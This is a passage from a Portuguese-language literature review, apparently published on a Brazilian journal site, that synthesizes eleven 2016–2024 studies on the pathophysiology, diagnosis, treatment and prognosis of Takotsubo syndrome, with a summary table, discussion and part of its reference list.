<p class="wp-block-paragraph">Foram incluídos estudos que atenderam aos seguintes critérios: 1) Estudos originais envolvendo pacientes diagnosticados com Síndrome de Takotsubo; 2) Ensaios clínicos randomizados, estudos observacionais prospectivos ou retrospectivos e estudos de coorte comparativos; 3) Trabalhos que abordassem ao menos um dos seguintes eixos: intervenções terapêuticas, métodos diagnósticos, fatores prognósticos ou aspectos fisiopatológicos da STT; 4) Publicações disponíveis na íntegra e em língua inglesa.</p>



<p class="wp-block-paragraph">Foram excluídos relatos de casos isolados, editoriais, cartas ao editor, revisões narrativas ou sistemáticas; trabalhos que não respondem aos objetivos do estudo.&nbsp;</p>



<p class="wp-block-paragraph">Inicialmente, os títulos e resumos foram avaliados para identificação de relevância temática. Em seguida, os textos completos dos artigos potencialmente elegíveis foram analisados.&nbsp;</p>



<p class="wp-block-paragraph">De cada estudo incluído, foram extraídas informações padronizadas: autores, ano de publicação, delineamento do estudo, tamanho da amostra, intervenções avaliadas, medidas de desfecho, tempo de acompanhamento e principais resultados. Esses dados foram organizados em uma tabela, permitindo comparação sistemática entre os estudos e identificação de convergências e divergências nos achados.</p>



<p class="wp-block-paragraph">Os resultados foram analisados de forma qualitativa e descritiva, considerando a heterogeneidade metodológica entre os estudos. A síntese foi estruturada em eixos temáticos, correspondentes aos objetivos da revisão: <em>Compreensão Fisiopatológica;</em><strong><em> </em></strong><em>Acurácia das ferramentas diagnósticas; Intervenções terapêuticas; Prognósticos</em>. Quando disponíveis, foram destacados valores estatísticos relevantes, como <em>p-values</em>, <em>odds ratios</em>, <em>hazard ratios</em> e áreas sob a curva ROC, respeitando os dados apresentados nos estudos originais.</p>



<p class="wp-block-paragraph">Por se tratar de uma revisão da literatura baseada exclusivamente em dados secundários já publicados, não houve a necessidade de submissão ao comitê de ética em pesquisa, conforme as normas vigentes.</p>



<p class="wp-block-paragraph"><strong>4. RESULTADOS</strong></p>



<p class="wp-block-paragraph">No período de análise de 10 anos (2015 a 2025), observou-se que dos onze (n: 11) estudos revisados sobre a síndrome de Takotsubo (STT) na base de dados PubMed (Figura 5).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 5</strong>. Seleção dos estudos.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="693" height="724" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-6.png" alt="" class="wp-image-261714" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-6.png 693w, https://revistaft.com.br/wp-content/uploads/2026/01/image-6-287x300.png 287w" sizes="(max-width: 693px) 100vw, 693px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autor (2026)</p>



<p class="wp-block-paragraph">A grande maioria dos estudos incluídos (n: 8; 72,7%) possui delineamento observacional, coortes retrospectivos e prospectivos. Apenas 3 (27,3%) são ensaios clínicos randomizados, que oferecem o mais alto nível de evidência para intervenções terapêuticas (Quadro 3).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 3</strong>. Síntese dos estudos.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autores</strong><strong>Ano</strong></td><td><strong>Desenho do estudo</strong></td><td><strong>Pacientes (n)</strong></td><td><strong>Medicamentos</strong></td><td><strong>Medidas de resultados</strong></td><td><strong>Tempo de acompanhamento</strong></td><td><strong>Principais resultados</strong></td></tr><tr><td>Marfella e cols.<sup>13</sup>, 2016</td><td>Randomizado</td><td>48</td><td>Ácido alfa-lipóico (600 mg uma vez ao dia) <em>vs</em>. Placebo</td><td>Exames de rotina, marcadores séricos de lesão miocárdica, marcadores de estresse oxidativo, citocinas pró-inflamatórias, atividade do tônus simpático e&nbsp;tamanho do defeito de MIBG&nbsp;(cintilografia com 123I-MIBG)</td><td>Até 12 meses (com avaliações trimestrais)</td><td>Melhora significativa no tamanho do defeito de MIBG em 12 meses com ALA, indicando melhora na inervação cardíaca adrenérgica</td></tr><tr><td>Kumar e cols.<sup>14</sup>, 2016</td><td>&nbsp;Retrospectivo</td><td>28</td><td>&#8211;</td><td>Parâmetros de função diastólica (E, A, relação E/A, e&#8217;, estágios da DF, área do AE) e sistólica (fração de ejeção, S&#8217;) avaliados por ecocardiografia</td><td>Fase aguda vs. fase de recuperação (média de 3 meses após o evento agudo)</td><td>Melhora significativa nos parâmetros de função diastólica (e&#8217; e duração da onda A) e redução da área do AE durante a recuperação. A melhora da função diastólica ocorreu em paralelo com a recuperação sistólica.</td></tr><tr><td>Naegele e cols.<sup>15</sup>, 2016</td><td>Prospectivo</td><td>43 (22 com STT e 21 controles pareados por idade, sexo, fatores de risco e medicamentos)</td><td>&#8211;</td><td>Primária<strong>:</strong>&nbsp;VMF para disfunção endotelial.<br>Secundárias:&nbsp;Rigidez arterial, espessura íntima-média carotídea, TPA, qualidade de vida, parâmetros laboratoriais (endotelina-1) e atividade simpática muscular (em repouso e pós-estresse).</td><td>fase estável</td><td>Disfunção endotelial significativa&nbsp;na STT (VMF menor).&nbsp;Área total de placa carotídea reduzida&nbsp;na STT.&nbsp;Tendência&nbsp;a maior atividade simpática muscular em repouso (p=0,08), sem diferença na resposta ao estresse. Sem diferenças significativas em rigidez arterial, espessura íntima-média, qualidade de vida e marcadores laboratoriais.</td></tr><tr><td>Stiermaier&nbsp;e cols.<sup>16</sup>, 2016</td><td>Retrospectivo</td><td>285 (204 com balonamento apical típico e 81 com padrão atípico [medioventricular ou basal])</td><td>&#8211;</td><td>Características clínicas, fração de ejeção do VE na fase aguda e na recuperação, mortalidade em 28 dias, 6 meses e longo prazo</td><td>Curto prazo (28 dias), médio prazo (6 meses) e longo prazo (média não especificada, além de 6 meses)</td><td>O&nbsp;<br>balonamento apical típico&nbsp;foi associado a menor FEVE inicial, maior idade, maior prevalência de diabetes e&nbsp;aumento significativo da mortalidade em 6 meses&nbsp;(13,4% vs 1,3%) e em longo prazo (28,9% vs 14,5%). Após os primeiros 6 meses, os sobreviventes de ambos os grupos apresentaram mortalidade similar.</td></tr><tr><td>Girardey e cols.<sup>17</sup>, 2016</td><td>Retrospectivo</td><td>154 (44 com neoplasia maligna prévia ou atual)</td><td>&#8211;</td><td>Parada cardíaca na admissão, uso de balão intra-aórtico, picos de BNP, leucócitos, PCR, disfunção ventricular esquerda inicial, mortalidade por todas as causas e mortalidade cardíaca</td><td>Mediana de 364 dias (aproximadamente 1 ano)</td><td>A presença de&nbsp;neoplasia maligna&nbsp;foi um preditor independente para maior&nbsp;mortalidade cardíaca&nbsp;(HR 4,77) e&nbsp;mortalidade geral&nbsp;(HR 2,62).&nbsp;Pico de leucócitos&nbsp;e&nbsp;parada cardíaca inicial&nbsp;também foram preditores independentes de mortalidade geral.</td></tr><tr><td>Yamaguchi e cols.<sup>18</sup>, 2016</td><td>Retrospectivo</td><td>299<br>(34 com pQRSd ≥120 ms e 265 com QRS &lt;120 ms)</td><td>Não especificado. Foram registradas intervenções como uso de&nbsp;catecolaminas&nbsp;</td><td>Primárias:&nbsp;Mortalidade intra-hospitalar e mortalidade cardíaca.<br>Secundárias:&nbsp;Uso de ventilação mecânica, ocorrência de taquicardia/fibrilação ventricular, e necessidade de suporte circulatório (catecolaminas ou dispositivos de suporte).</td><td>Durante a&nbsp;internação hospitalar&nbsp;(desfechos intra-hospitalares)</td><td>pQRSd (QRS ≥120 ms)&nbsp;foi um&nbsp;preditor independente&nbsp;de&nbsp;mortalidade hospitalar&nbsp;(OR 5,06) e&nbsp;morte cardíaca&nbsp;(OR 7,34). O grupo pQRSd apresentou taxas significativamente maiores de mortalidade, complicações arritmicas e necessidade de suporte vital avançado.</td></tr><tr><td>Ghadri<sup>19</sup> e cols., 2017</td><td>Retrospectivo</td><td>1053Coorte de Derivação:654 (218 com STT + 436 com SCA).<br>Coorte de Validação:&nbsp;399 (173 com STT + 226 com SCA).</td><td>&#8211;</td><td>Variáveis do Escore (InterTAK):&nbsp;sexo feminino, gatilho emocional, gatilho físico, ausência de infradesnivelamento do segmento ST, transtornos psiquiátricos, transtornos neurológicos, prolongamento do QTc.<br>Métricas de Validação:&nbsp;Área sob a curva (AUC), sensibilidade, especificidade com pontos de corte de 31, 40 e 50 pontos.</td><td>fase aguda</td><td>O&nbsp;Escore Diagnóstico InterTAK&nbsp;demonstrou alta capacidade de diferenciar STT de SCA, com AUC de 0,971 na coorte de derivação e 0,901 na coorte de validação. Um ponto de corte ≥ 50 pontos identifica STT com ~95% de precisão, e um ponto de corte ≤ 31 pontos identifica SCA com ~95% de precisão.</td></tr><tr><td>Pirlet<sup>20</sup> e cols., 2017</td><td>Retrospectivo</td><td>STT: 77 (35 retrospectivos + 42 prospectivos).<br>IAM sem supradesnivelamento de ST (IAMSSST/NSTEMI):&nbsp;123 (48 retrospectivos + 75 prospectivos).<br>IAM com supradesnivelamento de ST (IAMCSST/STEMI):&nbsp;59 (20 retrospectivos + 39 prospectivos).</td><td>&#8211;</td><td>Razão entre a troponina T de alta sensibilidade (hs-TnT) e a fração MB da creatina quinase (CK-MB) no momento da admissão hospitalar.<br>Análise de Curvas ROC (Receiver Operating Characteristic) para determinar valores de corte ideais, sensibilidade e especificidade.</td><td>fase aguda</td><td>A razão&nbsp;hs-TnT/CK-MB foi significativamente maior&nbsp;em pacientes com Takotsubo em comparação com pacientes com IAM (tanto NSTEMI quanto STEMI), nas coortes retrospectiva e prospectiva.<br>&nbsp;Valores de corte (~0.015-0.017) demonstraram capacidade de diferenciar TT de IM com&nbsp;boa sensibilidade (83-86%) e especificidade (68-78%), especialmente na coorte prospectiva (AUC 0.88).</td></tr><tr><td>Omerovic<sup>21</sup> e cols.,2023</td><td>RandomizadoEstudo Broken-Swedeheart</td><td>1000</td><td>Adenosina + dipiridamol (Estudo 1) <em>vs.</em> tratamento padrão<br>Apixabano (Estudo 2) <em>vs.</em> nenhum tratamento antitrombótico</td><td>Estudo 1:<strong><br></strong>&#8211; Índice de escore de movimento da parede em 48–96 h<br>&#8211; morte, parada cardíaca, dispositivo de assistência mecânica, hospitalização por insuficiência cardíaca em 30 dias ou FEVE &lt;50% em 48–96 h<br>Estudo 2:<br>&#8211; morte ou eventos tromboembólicos em 30 dias ou trombo intraventricular em ecocardiografia (48–96 h)</td><td>Até 30 dias (com avaliações intermediárias em 48–96 horas)</td><td>não determinado</td></tr><tr><td><br>Cammann<sup>22</sup> e cols., 2023</td><td>Retrospectivo</td><td>Total: 2.848<br>STT: 2.098<br>DEAC: 750</td><td>&#8211;</td><td>Características clínicas, gatilhos (físicos/emocionais), fração de ejeção do VE, fatores de risco cardiovasculares, comorbidades (enxaqueca, ansiedade), mortalidade em 30 dias, taxa de AVC em 30 dias</td><td>30 dias</td><td>Pacientes com Takotsubo eram mais velhos, tinham mais gatilhos físicos, pior fração de ejeção e maior mortalidade em 30 dias.<br>Pacientes com DEAC tiveram mais gatilhos emocionais, maior prevalência de enxaqueca e ansiedade.</td></tr><tr><td>Ekenbäck<sup>23</sup> e cols., 2024</td><td>Randomizado</td><td>STT: 31Controle: 13</td><td>Metoprolol intravenoso (bloqueador β1 seletivo)&nbsp;vs.&nbsp;Placebo</td><td>Atividade nervosa simpática muscular (microneurografia), atividade simpática cardíaca (cintilografia com 123I-MIBG, razão coração/mediastino, taxa de eliminação), níveis plasmáticos de metabólitos de catecolaminas</td><td>Avaliação na fase de recuperação: microneurografia ~27.5 dias e cintilografia ~12.5 dias após a admissão hospitalar</td><td>Atividade simpática muscular<strong>:</strong>&nbsp;sem diferença significativa entre STT e controles, e sem efeito do metoprolol.&nbsp;<br>Atividade simpática cardíaca:&nbsp;aumentada (razão coração/mediastino diminuída e taxa de eliminação aumentada na cintilografia).</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Legenda: </strong>A: velocidade de pico de enchimento atrial; AVC: Acidente Vascular Cerebral; ALA: ácido alfa-lipóico; CKMB: fração miocárdica da creatina quinase; Curvas ROC: características de operação do receptor; DF: função diastólica; DEAC: Dissecção Espontânea da Artéria Coronária; E: velocidade de pico de enchimento rápido transmitral; e’: relaxamento; FEVE: Fração de Ejeção do Ventrículo Esquerdo; hs-TnT: troponina T de alta sensibilidade; IAM: infarto agudo do miocárdio; IAMSSST: infarto agudo do miocárdio sem supradesnivelamento do segmento ST; MIBG: Metaiodobenzilguanidina; NSTEMI: Sem Elevação do Segmento ST;&nbsp; Pqrs: prognóstico da duração prolongada do QRS; S’: contratilidade; STT: Síndrome de Takotsubo; SCA: síndrome coronariana aguda; STEMI: Elevação do Segmento ST; TPA: área total de placa carotídea; VE: ventrículo esquerdo; VMF: Vasodilatação mediada pelo fluxo.</p>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autor (2026)</p>



<p class="wp-block-paragraph"><strong>Compreensão Fisiopatológica</strong></p>



<p class="wp-block-paragraph">Naegele<sup>15</sup> e cols. evidenciaram disfunção endotelial significativa em pacientes com Síndrome de Takotsubo, caracterizada por redução da vasodilatação mediada por fluxo, com tendência a maior atividade simpática muscular em repouso (p=0,08). Kumar<sup>14</sup> e cols. demonstraram melhora progressiva da função diastólica durante a fase de recuperação, ocorrendo de forma paralela à recuperação da função sistólica, sugerindo caráter reversível da disfunção miocárdica. Corroborando, Ekenbäck<sup>23</sup> e cols. reforçaram esses achados ao demonstrar comprometimento persistente da inervação simpática cardíaca na fase de recuperação, mesmo na ausência de alterações significativas da atividade simpática periférica.</p>



<p class="wp-block-paragraph"><strong>Acurácia das ferramentas diagnósticas</strong></p>



<p class="wp-block-paragraph">Ghadri<sup>19</sup> e cols. validaram o Escore Diagnóstico InterTAK, que apresentou elevada acurácia na diferenciação entre Síndrome de Takotsubo e síndrome coronariana aguda, com AUC de 0,971 na coorte de derivação e 0,901 na coorte de validação, atingindo cerca de 95% de precisão nos pontos de corte extremos. Complementarmente, Pirlet<sup>20</sup> e cols. identificaram que a razão hs-TnT/CK-MB foi significativamente maior nos pacientes com Takotsubo em comparação aos infartos do miocárdio, apresentando boa capacidade discriminatória (AUC até 0,88), com sensibilidade entre 83–86% e especificidade entre 68–78%.</p>



<p class="wp-block-paragraph"><strong>Intervenções terapêuticas</strong></p>



<p class="wp-block-paragraph">Marfella<sup>13</sup> e cols. demonstraram que a administração de ácido alfa-lipóico esteve associada à melhora significativa da inervação cardíaca adrenérgica, evidenciada pela redução do defeito de MIBG (Metaiodobenzilguanidina) após 12 meses de acompanhamento, sugerindo efeito benéfico sobre a disfunção autonômica na Síndrome de Takotsubo. Em contraste, Ekenbäck<sup>23</sup> e cols. não observaram diferenças significativas na atividade simpática muscular entre pacientes com Takotsubo e controles, nem efeito do metoprolol intravenoso, apesar da persistência de hiperatividade simpática cardíaca avaliada por cintilografia com ¹²³I-MIBG.</p>



<p class="wp-block-paragraph"><strong>Prognósticos</strong></p>



<p class="wp-block-paragraph">Stiermaier<sup>16</sup> e cols. observaram que o padrão de balonamento apical típico esteve associado a menor fração de ejeção inicial e maior mortalidade em 6 meses e no longo prazo, quando comparado aos padrões atípicos. Girardey<sup>17</sup> e cols. demonstraram que a presença de neoplasia maligna foi um preditor independente de maior mortalidade cardíaca e geral, assim como a ocorrência de parada cardíaca na admissão e picos elevados de leucócitos. Yamaguchi<sup>18</sup> e cols. identificaram que o prolongamento do QRS (≥120 ms) foi preditor independente de mortalidade intra-hospitalar e morte cardíaca, com aumento significativo de complicações arrítmicas e necessidade de suporte circulatório (p&lt;0,05).</p>



<p class="wp-block-paragraph"><strong>5. DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">O manejo da síndrome de Takotsubo (STT) é baseado nas experiências clínicas e no consenso de especialistas, visto que faltam mais estudos randomizados sobre esse tema<sup>5,8</sup>. Na literatura foi identificado o estudo Broken-Swedeheart conduzido por Omerovic<sup>21</sup> e cols, que se encontra em andamento e, até o momento, não apresentou resultados quanto aos efeitos conclusivos das medicações avaliadas (Adenosina + dipiridamol vs. Apixabano vs. nenhum tratamento antitrombótico). Em contraste com essa ausência de evidências definitivas, alguns estudos experimentais trouxeram achados relevantes, embora pontuais, sobre possíveis intervenções terapêuticas.</p>



<p class="wp-block-paragraph">Nesse sentido, Marfella<sup>13</sup> e cols. demonstraram que 12 meses de terapia com ácido alfa-lipóico (ALA) melhoram a função cardíaca simpática, avaliada pela captação de MIBG (Metaiodobenzilguanidina), em pacientes com cardiomiopatia de Takotsubo. A melhora foi regional, com aumento da captação nos segmentos apical, anterior e septo-apical, bem como nos segmentos lateral-apical e inferior do ventrículo esquerdo. Essas alterações positivas na inervação adrenérgica correlacionaram-se com a redução de marcadores inflamatórios (PCR, TNF-α) e de estresse oxidativo (nitrotirosina). Dado o risco residual não desprezível de eventos como morte súbita (2,6%) após a fase aguda, e na ausência de estratégias preventivas estabelecidas, a modulação da inervação cardíaca pelo ALA surge como uma intervenção promissora para melhorar o prognóstico a longo prazo.</p>



<p class="wp-block-paragraph">Por outro lado, resultados distintos foram observados no estudo de Ekenbäck<sup>23</sup> e cols. avaliaram o efeito do bloqueio seletivo do receptor β1 com&nbsp;metoprolol intravenoso&nbsp;em comparação com&nbsp;placebo&nbsp;sobre a atividade nervosa simpática muscular e cardíaca. Não foram encontradas diferenças significativas na atividade simpática muscular em repouso ou sob estresse entre pacientes convalescentes de Takotsubo e controles,&nbsp;nem qualquer efeito do metoprolol&nbsp;sobre essa resposta periférica. Em contraste, a cintilografia cardíaca com 123I-mIBG revelou disfunção adrenérgica cardíaca específica (razão H/M reduzida e eliminação aumentada), apesar da ausência de elevação significativa dos metabólitos de catecolaminas.</p>



<p class="wp-block-paragraph">O estudo de Naegele<sup>15</sup> e cols. demonstrou que, mesmo na fase estável, pacientes com STT apresentam disfunção endotelial significativa e uma tendência a maior atividade simpática basal em repouso, embora sem resposta exacerbada ao estresse. Essas alterações vasculares e autonômicas ocorrem em um contexto distinto da aterosclerose, como evidenciado pela menor área total de placa carotídea e ausência de diferenças na rigidez arterial e na espessura íntima-média. Esses achados apontam que a fisiopatologia da STT é independente da doença aterosclerótica tradicional, centrando-se em uma disfunção microvascular e desregulação neuro-humoral aguda.&nbsp;</p>



<p class="wp-block-paragraph">No que se refere à recuperação funcional miocárdica, Kumar<sup>14</sup> e cols. demostraram que a função diastólica, comprometida na fase aguda da STT, apresenta uma melhora progressiva durante a recuperação, observada em média três meses após o evento. Essa melhora é evidenciada por tendências de aumento na relação E/A e na velocidade da onda E, juntamente com a redução da área do átrio esquerdo. Parâmetros tissulares, como o aumento significativo da velocidade média e&#8217; e o prolongamento da duração da onda A, corroboram a recuperação do relaxamento ventricular. A normalização dos estágios da função diastólica ocorre em paralelo à recuperação da função sistólica, indicando um processo de restauração miocárdica global. Dessa forma, a avaliação ecocardiográfica convencional e tissular é válida para monitorar a resolução integral da cardiomiopatia.</p>



<p class="wp-block-paragraph">No campo diagnóstico, Ghadri<sup>19</sup> e cols.&nbsp;desenvolveram o Escore Diagnóstico InterTAK para auxiliar na diferenciação, na fase aguda, entre a STT e a síndrome coronariana aguda (SCA). Baseado em sete parâmetros clínicos de fácil obtenção (como sexo feminino, gatilhos emocionais ou físicos e achados eletrocardiográficos específicos), o escore atribui uma pontuação que estima a probabilidade de STT. A sua aplicação prática pode orientar a avaliação inicial, auxiliando na estratificação de risco e na tomada de decisão sobre a necessidade de cateterismo cardíaco, com o objetivo de evitar os procedimentos invasivos desnecessários.</p>



<p class="wp-block-paragraph">De forma complementar, Pirlet<sup>20</sup> e cols. demonstraram que a razão entre troponina T de alta sensibilidade (hs-TnT) e CK-MB (fração miocárdica da creatina quinase) é um indicador útil para diferenciar a STT do infarto do miocárdio (IM). Essa razão foi significativamente maior em pacientes com STT do que naqueles com IAM, tanto na admissão quanto no pico de troponina. Valores de corte entre 0,015 e 0,017 apresentaram sensibilidade e especificidade razoáveis para essa distinção. Análises posteriores confirmaram que a diferença na razão persiste independentemente do tempo de apresentação dos sintomas, reforçando sua utilidade clínica.&nbsp;</p>



<p class="wp-block-paragraph">Do ponto de vista prognóstico, Girardey<sup>17</sup> e cols. evidenciaram alta prevalência de neoplasias malignas entre pacientes com cardiomiopatia de Takotsubo. A presença de câncer está associada a uma resposta inflamatória e neuro-hormonal mais intensa na fase aguda, com níveis mais elevados de leucócitos, PCR (proteína C-reativa) e BNP (peptídeo natriurético tipo B). Essa ativação exacerbada contribui para um maior dano miocárdico e pior evolução clínica. Consequentemente, o diagnóstico de malignidade emergiu como um preditor independente para maior mortalidade cardíaca e geral nessa população.&nbsp;</p>



<p class="wp-block-paragraph">Stiermaier<sup>16</sup> e cols. contesta a visão tradicional de que a cardiomiopatia de Takotsubo tem sempre um prognóstico benigno, mostrando que a mortalidade inicial pode ser semelhante à da síndrome coronariana aguda. A pesquisa comparou os desfechos entre pacientes com padrão apical típico e padrões atípicos de balonamento ventricular. O balonamento apical típico associou-se a uma disfunção ventricular esquerda mais grave na apresentação e a taxas de mortalidade significativamente maiores (p = 0,02) nos primeiros seis meses. No entanto, após a recuperação completa da função ventricular, que ocorreu em ambos os grupos, o prognóstico de longo prazo se tornou semelhante.&nbsp;</p>



<p class="wp-block-paragraph">Yamaguchi<sup>18</sup> e cols. demonstram que o prolongamento do complexo QRS (pQRSd) na admissão é um preditor independente de mortalidade hospitalar e cardíaca na cardiomiopatia de Takotsubo, estando associado a complicações graves como arritmias ventricrais, necessidade de ventilação mecânica e insuficiência circulatória. O estudo sugere que mesmo um prolongamento leve (QRS ≥110 ms) pode sinalizar dano miocárdico significativo e exigir atenção clínica imediata. A persistência do pQRSd, observada em casos mais severos, correlaciona-se com um prognóstico particularmente desfavorável.</p>



<p class="wp-block-paragraph">Adicionalmente, Cammann<sup>22</sup> e cols. compararam a Síndrome de Takotsubo (STT) e a Dissecção Coronária Espontânea (DEAC) e evidenciaram perfis diferentes, mesmo com predominância de mulheres. Pacientes com STT são geralmente mais velhas, na pós-menopausa, e apresentam maior carga de fatores de risco cardiovascular tradicional, e também maior mortalidade precoce. Em contraste, a DEAC afeta mulheres mais jovens, com maior prevalência de comorbidades como ansiedade e enxaqueca, e é frequentemente desencadeada por fatores emocionais, enquanto os gatilhos físicos são mais comuns na STT.&nbsp;</p>



<p class="wp-block-paragraph">Este estudo apresenta algumas limitações. A maioria dos estudos incluídos apresenta delineamento observacional, com predominância de coortes retrospectivas, limitando a inferência causal. Observa-se grande variabilidade metodológica entre os estudos quanto aos critérios diagnósticos, populações analisadas, intervenções avaliadas, tempos de seguimento e medidas de desfecho, o que dificulta as comparações diretas e a padronização das conclusões. O número reduzido de ensaios clínicos randomizados e a presença de estudos em andamento, como o Broken-Swedeheart, mostram que as evidências terapêuticas específicas na Síndrome de Takotsubo ainda são limitadas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>6. CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">A Síndrome de Takotsubo apresenta fisiopatologia complexa, envolvendo disfunção endotelial, desregulação autonômica e recuperação progressiva da função miocárdica. As ferramentas diagnósticas como o Escore InterTAK e a razão hs-TnT/CK-MB mostraram elevada acurácia na diferenciação em relação à síndrome coronariana aguda. As evidências terapêuticas são heterogêneas, com possível benefício do ácido alfa-lipóico, mas ausência de efeito consistente do bloqueio β1. Do ponto de vista prognóstico, padrão de balonamento apical, neoplasia maligna, alterações eletrocardiográficas e instabilidade inicial associaram-se a maior mortalidade.</p>



<p class="wp-block-paragraph">Apesar dos avanços no conhecimento diagnóstico e fisiopatológico, persistem lacunas relevantes no tratamento da Síndrome de Takotsubo, uma vez que a predominância de estudos observacionais e o número limitado de ensaios clínicos randomizados restringem conclusões definitivas sobre as intervenções farmacológicas. O manejo atual deve priorizar a avaliação clínica cuidadosa, estratificação prognóstica e o uso de ferramentas diagnósticas validadas, reforçando a necessidade da realização de estudos prospectivos e randomizados para orientar terapias específicas. Assim, o cuidado ao paciente com STT deve permanecer individualizado e baseado na melhor evidência disponível.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">1. Del Buono MG, Potere N, Chiabrando JG, Bressi E, Abbate A. Takotsubo syndrome: diagnostic work-up and clues into differential diagnosis. Curr Opin Cardiol. 2019 Nov;34(6):673-686. doi: 10.1097/HCO.0000000000000672. PMID: 31449091</p>



<p class="wp-block-paragraph">2. Cammann VL, Würdinger M, Ghadri JR, Templin C. Takotsubo Syndrome: Uncovering Myths and Misconceptions. Curr Atheroscler Rep. 2021 Jul 16;23(9):53. doi: 10.1007/s11883-021-00946-z. PMID: 34268666; PMCID: PMC8282560.&nbsp;</p>



<p class="wp-block-paragraph">3. Lyon AR, Bossone E, Schneider B, Sechtem U, Citro R, Underwood SR, Sheppard MN, Figtree GA, Parodi G, Akashi YJ, Ruschitzka F, Filippatos G, Mebazaa A, Omerovic E. Current state of knowledge on Takotsubo syndrome: a Position Statement from the Taskforce on Takotsubo Syndrome of the Heart Failure Association of the European Society of Cardiology. Eur J Heart Fail. 2016 Jan;18(1):8-27. doi: 10.1002/ejhf.424. Epub 2015 Nov 9. PMID: 26548803.</p>



<p class="wp-block-paragraph">4. Jensch PJ, Stiermaier T, Eitel I. Takotsubo Syndrome-Is There a Need for CMR? Curr Heart Fail Rep. 2021 Aug;18(4):200-210. doi: 10.1007/s11897-021-00518-x. Epub 2021 Jun 20. PMID: 34148183; PMCID: PMC8214719.</p>



<p class="wp-block-paragraph">5. Kato K, Lyon AR, Ghadri JR, Templin C. Takotsubo syndrome: aetiology, presentation and treatment. Heart. 2017 Sep;103(18):1461-1469. doi: 10.1136/heartjnl-2016-309783. PMID: 28839096.</p>



<p class="wp-block-paragraph">6. Stawiarski K, Ramakrishna H. Redefining Takotsubo Syndrome and Its Implications. J Cardiothorac Vasc Anesth. 2020 Apr;34(4):1094-1098. doi: 10.1053/j.jvca.2019.08.010. Epub 2019 Aug 12. PMID: 31500981.</p>



<p class="wp-block-paragraph">7. Díaz-Navarro R, Sáez T. Síndrome de Takotsubo: Actualización 2022 [Takotsubo Syndrome: 2022 Update]. Rev Med Chil. 2023 Aug;151(8):1053-1070. Spanish. doi: 10.4067/s0034-98872023000801053. PMID: 39093198.</p>



<p class="wp-block-paragraph">8. Moscatelli S, Montecucco F, Carbone F, Valbusa A, Massobrio L, Porto I, Brunelli C, Rosa GM. An Emerging Cardiovascular Disease: Takotsubo Syndrome. Biomed Res Int. 2019 Oct 30;2019:6571045. doi: 10.1155/2019/6571045. PMID: 31781633; PMCID: PMC6875025.</p>



<p class="wp-block-paragraph">9. Baker C, Muse J, Taussky P. Takotsubo Syndrome in Neurologic Disease. World Neurosurg. 2021 May;149:26-31. doi: 10.1016/j.wneu.2021.01.139. Epub 2021 Feb 5. PMID: 33556594.</p>



<p class="wp-block-paragraph">10. Budnik M, Kucharz J, Wiechno P, Demkow T, Kochanowski J, Górska E, Opolski G. Chemotherapy-Induced Takotsubo Syndrome. Adv Exp Med Biol. 2018;1114:19-29. doi: 10.1007/5584_2018_222. PMID: 29884920.</p>



<p class="wp-block-paragraph">11. Aniskevich S, Chadha RM, Peiris P, Taner CB, Torp KL, Thomas CS, Yataco ML, Pai SL. Intra-operative predictors of postoperative Takotsubo syndrome in liver transplant recipients-An exploratory case-control study. Clin Transplant. 2017 Nov;31(11). doi: 10.1111/ctr.13092. Epub 2017 Sep 14. PMID: 28833618.</p>



<p class="wp-block-paragraph">12. Frangieh AH, Obeid S, Ghadri JR, Imori Y, D&#8217;Ascenzo F, Kovac M, et al. ECG criteria to differentiate between Takotsubo (stress) cardiomyopathy and myocardial infarction.&nbsp;Journal of the American Heart Association. 2016;5(6):e003418.</p>



<p class="wp-block-paragraph">13. Marfella R, Barbieri M, Sardu C, Rizzo MR, Siniscalchi M, Paolisso P, Ambrosino M, Fava I, Materazzi C, Cinquegrana G, Gottilla R, Elia LR, D&#8217;andrea D, Coppola A, Rambaldi PF, Mauro C, Mansi L, Paolisso G. Effects of α-lipoic acid therapy on sympathetic heart innervation in patients with previous experience of transient takotsubo cardiomyopathy. J Cardiol. 2016 Feb;67(2):153-61. doi: 10.1016/j.jjcc.2015.07.012. Epub 2015 Sep 5. PMID: 26347218.</p>



<p class="wp-block-paragraph">14. Kumar S, Waldenborg M, Bhumireddy P, Ramkissoon K, Loiske K, Innasimuthu AL, Grodman RS, Heitner JF, Emilsson K, Lazar JM. Diastolic function improves after resolution of takotsubo cardiomyopathy. Clin Physiol Funct Imaging. 2016 Jan;36(1):17-24. doi: 10.1111/cpf.12188. Epub 2014 Sep 10. PMID: 25208087.</p>



<p class="wp-block-paragraph">15. Naegele M, Flammer AJ, Enseleit F, Roas S, Frank M, Hirt A, Kaiser P, Cantatore S, Templin C, Fröhlich G, Romanens M, Lüscher TF, Ruschitzka F, Noll G, Sudano I. Endothelial function and sympathetic nervous system activity in patients with Takotsubo syndrome. Int J Cardiol. 2016 Dec 1;224:226-230. doi: 10.1016/j.ijcard.2016.09.008. Epub 2016 Sep 12. PMID: 27661411.</p>



<p class="wp-block-paragraph">16. Stiermaier T, Möller C, Graf T, Eitel C, Desch S, Thiele H, Eitel I. Prognostic Usefulness of the Ballooning Pattern in Patients With Takotsubo Cardiomyopathy. Am J Cardiol. 2016 Dec 1;118(11):1737-1741. doi: 10.1016/j.amjcard.2016.08.055. Epub 2016 Aug 30. PMID: 27670792.</p>



<p class="wp-block-paragraph">17. Girardey M, Jesel L, Campia U, Messas N, Hess S, Imperiale A, Blondet C, Trinh A, Ohlmann P, Morel O. Impact of Malignancies in the Early and Late Time Course of Takotsubo Cardiomyopathy. Circ J. 2016 Sep 23;80(10):2192-8. doi: 10.1253/circj.CJ-16-0388. Epub 2016 Sep 1. PMID: 27581345.</p>



